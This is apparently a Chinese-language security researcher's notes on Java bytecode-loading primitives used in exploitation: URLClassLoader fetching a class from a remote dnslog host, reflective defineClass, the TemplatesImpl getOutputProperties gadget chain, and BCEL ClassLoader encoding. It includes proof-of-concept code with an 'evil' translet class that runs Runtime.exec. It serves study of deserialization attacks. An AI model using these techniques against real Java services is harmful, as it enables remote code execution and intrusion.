字节码加载方式有:
- 本地系统直接加载
- 网络获取:Web Applet
- jar、war包
- 动态代理:运行时计算生成…
- …
URLClassLoader
可以借助URLClassLoader来加载远程Server上的字节码文件.
(前提是本地以及别的路径没有找到对应类的字节码文件.public class URLClassLoader0 {public static void main(String args[]) throws Exception {URL[] urls = {new URL("http://xrrysm.dnslog.cn/")};URLClassLoader loader = URLClassLoader.newInstance(urls);Class c = loader.loadClass("hello");c.newInstance();}}
ClassLoader#defineClass
利用ClassLoader#defineClass可以直接加载字节码并将字节码还原为类. defineClass也是ClassLoader的核心.
POC:
package test.com.byteLoader;import java.lang.reflect.Method;import javassist.ClassPool;import javassist.CtClass;public class defineClazzz {public static void main(String args[]) throws Exception {Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);byte[] code = byte[]{...};// class name must correct!Class clz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"evilClazz",code,0, code.length);clz.newInstance();}}
直接用defineClass和javassist就会报错.:暂时还未找到解决方法.
public class defineClazzz {public static void main(String args[]) throws Exception {Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(bad.evilClazz.class.getName());byte[] code = clazz.toBytecode();// class name must correct!Class clz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"evilClazz",code,0, code.length);clz.newInstance();}}
TemplatesImpl#TransletClassLoader
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类自定义了一个ClassLoader方法并重写了其中的defineClass方法.
defineClass方法的调用链:
TemplatesImpl#getOutputProperties()-> TemplatesImpl#newTransformer()-> TemplatesImpl#getTransletInstance()-> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
其中getOutputProperties和newTransformer为public类型,都是可以直接调用的.
demo:
public class TemplatesImplClassLoader {public static void main(String args[]) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ct = pool.get(evilClz.class.getName());byte[] code = ct.toBytecode();TemplatesImpl tmpl = new TemplatesImpl();Reflections.setFieldValue(tmpl,"_bytecodes", new byte[][] {code});Reflections.setFieldValue(tmpl, "_name", "HelloTemplatesImpl");Reflections.setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());tmpl.getOutputProperties();}}
其中恶意的类有要求,需要是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类:
public class evilClz extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}
与ClassLoader#defineClass相比,少了一些奇奇怪怪的问题.
BCEL ClassLoader
java 8u251之前可以使用. https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
8u251把BCEL给移除了.
BCEL(Apache Commons BCEL), 属于Apache Commons项目下的一个子项目, 被包含在JDK的原生库中.
- 将Class转换为原生字节码: Repository.
- 原生字节码转换为BCEL字节码: Utility.Encode
- 使用BCEL ClassLoader加载BCEL字节码, 字节码前面加$$BCEL$$后再用com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
public class BECLClassLoader {public static void main(String args[]) throws Exception {JavaClass cls = Repository.lookupClass(bad.evilClazz.class);String code = Utility.encode(cls.getBytes(), true);System.out.println(code);new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();}}
